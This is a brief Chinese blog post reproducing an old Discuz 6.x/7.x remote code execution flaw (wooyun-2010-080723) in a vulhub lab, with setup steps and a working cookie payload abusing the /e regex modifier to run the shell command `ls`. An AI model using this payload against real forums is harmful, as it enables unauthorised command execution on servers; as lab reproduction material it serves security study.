Discuz

1.漏洞复现

wooyun-2010-080723(vulhub)

影响范围:Discuz 6.x、7.x

访问 http://IP:8080/install/ 进行安装

数据库服务器填db,数据库用户名、密码填root

随便找一个帖子抓包,路径例:/viewthread.php?tid=13&extra=page%3D1

在Cookie中添加Payload进行RCE,Payload:

; GLOBALS[_DCACHE][smilies][searcharray]=/.*/eui; GLOBALS[_DCACHE][smilies][replacearray]=`ls`;
posted @ 2023-01-15 01:16  Hacker&Cat  阅读(22)  评论(0编辑  收藏  举报